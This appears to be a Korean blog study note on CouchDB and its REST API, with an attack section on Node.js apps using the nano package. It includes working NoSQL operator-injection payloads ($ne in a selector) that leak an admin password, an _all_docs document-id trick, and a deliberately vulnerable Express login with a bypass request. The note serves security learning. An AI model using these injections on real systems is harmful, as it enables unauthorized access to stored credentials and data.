[2025-07-20] CouchDB

🦥 본문

key-value 값을 데이터로 저장. JSON 객체 형태인 도큐먼트를 저장한다. HTTP 기반의 서버로 동작하며 REST API 형식으로 HTTP 메소드를 사용해 요청 받고 처리.

$ curl http://127.0.0.1:5984/
{"couchdb":"Welcome","version":"3.1.0","git_sha":"ff0feea20","uuid":"c7592f66bba3c6ebc38f0f4dcd374d68","features":["access-ready","partitioned","pluggable-storage-engines","reshard","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}
  • 데이터 삽입

      $ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
      {"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
    
  • 데이터 조회

      $ curl http://{username}:{password}@localhost:5984/users/guest
      {"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}
    

특수 구성 요소

_ 문자로 시작하는 url 요소 및 JSON 필드

  • Server

| 구성 요소 | 설명 | | — | — | | / | 인스턴스에 대한 메타 정보를 반환합니다. | | /_all_dbs | 인스턴스의 데이터베이스 목록을 반환합니다. | | /_utils | 관리자 페이지(Fauxton Administration Interface)로 이동합니다. |

  • Databases
구성 요소 설명
/db 지정한 데이터베이스에 대한 정보를 반환합니다.
/{db}/_all_docs 지정한 데이터베이스에 포함된 모든 도큐먼트를 반환합니다.
/{db}/_find 지정한 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환합니다.

공격 기법

NodeJS에서 CouchDB를 사용할 때에는 nano 패키지를 사용. nano 패키지는 get 함수를 사용하여 조회, find 함수를 통해 데이터를 가져올 수 있다.

  • get 함수

      // { ..., get: getDoc, ...}
      // https://github.com/apache/couchdb-nano/blob/befbcd9972520faa8850c9425faeb324aab005f5/lib/nano.js#L543-L552
      // http://docs.couchdb.org/en/latest/api/document/common.html#get--db-docid
      function getDoc (docName, qs0, callback0) {
        const { opts, callback } = getCallback(qs0, callback0)
        if (missing(docName)) {
          return callbackOrRejectError(callback)
        }
        return relax({ db: dbName, doc: docName, qs: opts }, callback)
      }
      // ...
      function relax (opts, callback) {
        // ...
        const req = {
          method: (opts.method || 'GET'),
          headers: headers,
          uri: cfg.url
        }
        // ...
        if (opts.db) {
          req.uri = urlResolveFix(req.uri, encodeURIComponent(opts.db))
        }
        // ...
        if (opts.path) {
          req.uri += '/' + opts.path
        } else if (opts.doc) {
          if (!/^_design|_local/.test(opts.doc)) {
            // http://wiki.apache.org/couchdb/HTTP_Document_API#Naming.2FAddressing
            req.uri += '/' + encodeURIComponent(opts.doc)
          } else {
            // http://wiki.apache.org/couchdb/HTTP_Document_API#Document_IDs
            req.uri += '/' + opts.doc
          }
          // http://wiki.apache.org/couchdb/HTTP_Document_API#Attachments
          if (opts.att) {
            req.uri += '/' + opts.att
          }
        }
        // ...
          if (typeof callback === 'function') {
            // return nothing - feedback via the callback function
            httpAgent(req, responseHandler(req, opts, null, null, callback))
          } else {
            // return a Promise
            return new Promise(function (resolve, reject) {
              httpAgent(req, responseHandler(req, opts, resolve, reject))
            })
          }
        }
      }
    
    • relax 함수의 21번째 줄을 보면 초기화 과정에서 할당된 cfg.url 뒤에 DB 이름을 합치고 32번째 줄에서 입력받은 doc을 URL예 추가한다.
    • _all_docs 페이지 접근 : 데이터베이스의 정보 조회

        // 정상적인 요청
        > require('nano')('http://{username}:{password}@localhost:5984').use('users').get('guest', function(err, result){ console.log('err: ', err, ',result: ', result) })
        /*
        err:  null ,result:  { _id: 'guest',
          _rev: '1-22a458e50cf189b17d50eeb295231896',
          upw: 'guest' }
        */
              
        //_all_docs 페이지 접근
        > require('nano')('http://{username}:{password}@localhost:5984').use('users').get('_all_docs', function(err, result){ console.log('err: ', err, ',result: ', result) })
        /*
        err:  null ,result:  { total_rows: 3,
          offset: 0,
          rows:
           [ { id: '0c1371b65480420e678d00c2770003f3',
               key: '0c1371b65480420e678d00c2770003f3',
               value: [Object] },
             { id: '0c1371b65480420e678d00c277001712',
               key: '0c1371b65480420e678d00c277001712',
               value: [Object] },
             { id: 'guest', key: 'guest', value: [Object] } ] }
        */
      
  • find 함수

      // https://github.com/apache/couchdb-nano/blob/befbcd9972520faa8850c9425faeb324aab005f5/lib/nano.js#L941-L952
      function find (query, callback) {
        if (missing(query) || typeof query !== 'object') {
          return callbackOrRejectError(callback)
        }
        return relax({
          db: dbName,
          path: '_find',
          method: 'POST',
          body: query
        }, callback)
      }
    
    • 쿼리가 NULL인지와 객체 타입인지를 검사
    • 연산자 공격 : selector 안에서 연산자를 사용

        // 정상적인 요청
        > require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'guest', 'upw': 'guest'}}, function(err, result){ console.log('err: ', err, ',result: ', result) })
        /*
        undefined
        err:  null ,result:  { docs:
           [ { _id: 'guest',
               _rev: '1-22a458e50cf189b17d50eeb295231896',
               upw: 'guest' } ],
          bookmark:
           'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzppemFpeAJDlgkgjhLADZAxEP',
          warning:
           'No matching index found, create an index to optimize query time.' }
        */
              
        // 연산자를 포함한 공격 쿼리 전송
        > require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'admin', 'upw': {'$ne': ''}}}, function(err, result){ console.log('err: ', err, ',result: ', result) })
        /*
        undefined
        err:  null ,result:  { docs:
           [ { _id: 'admin',
               _rev: '2-142ddb6e06fd298e86fa54f9b3b9d7f2',
               upw: 'secretpassword' } ],
          bookmark:
           'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzJqbkZuaBJDlgkgjhLADVNBDR',
          warning:
           'No matching index found, create an index to optimize query time.' }
        */
      
  • 기타 공격 방법

      const express = require('express');
      const session = require('express-session');
      const app = express();
      app.use(express.json());
      app.use(express.urlencoded({extended: false}));
      app.use(session({'secret': 'secret'}));
      const nano = require('nano')('http://{username}:{password}@localhost:5984');
      const users = nano.db.use('users');
      // { _id: 'admin', _rev: '1-22a458e50cf189b17d50eeb295231896', upw: '**secret**' }
      app.post('/auth', function(req, res) {
          users.get(req.body.uid, function(err, result) {
              if (err) {
                  res.send('error');
                  return;
              }
              if (result.upw === req.body.upw) {
                  req.session.auth = true;
                  res.send('success');
              } else {
                  res.send('fail');
              }
          });
      });
      const server = app.listen(3000, function() {
          console.log('app.listen');
      });
    
    • uid에 해당하는 데이터 조회하고 로그인 실패 시 에러 발생하는 코드
    • _all_docs를 이용한 인증 우회 : uid에 _all_docs 입력하고 upw는 입력하지 않음

        $ curl -i http://{username}:{password}@localhost:5984/users/_all_docs
        HTTP/1.1 200 OK
        Cache-Control: must-revalidate
        Content-Type: application/json
        Date: Tue, 19 May 2020 17:24:32 GMT
        Server: CouchDB/3.1.0 (Erlang OTP/20)
        Transfer-Encoding: chunked
        X-Couch-Request-ID: 43c8ca548f
        X-CouchDB-Body-Time: 0
        {"total_rows":1,"offset":0,"rows":[
        {"id":"admin","key":"admin","value":{"rev":"2-142ddb6e06fd298e86fa54f9b3b9d7f2"}}
        ]}
      

Categories:

Updated:

Leave a comment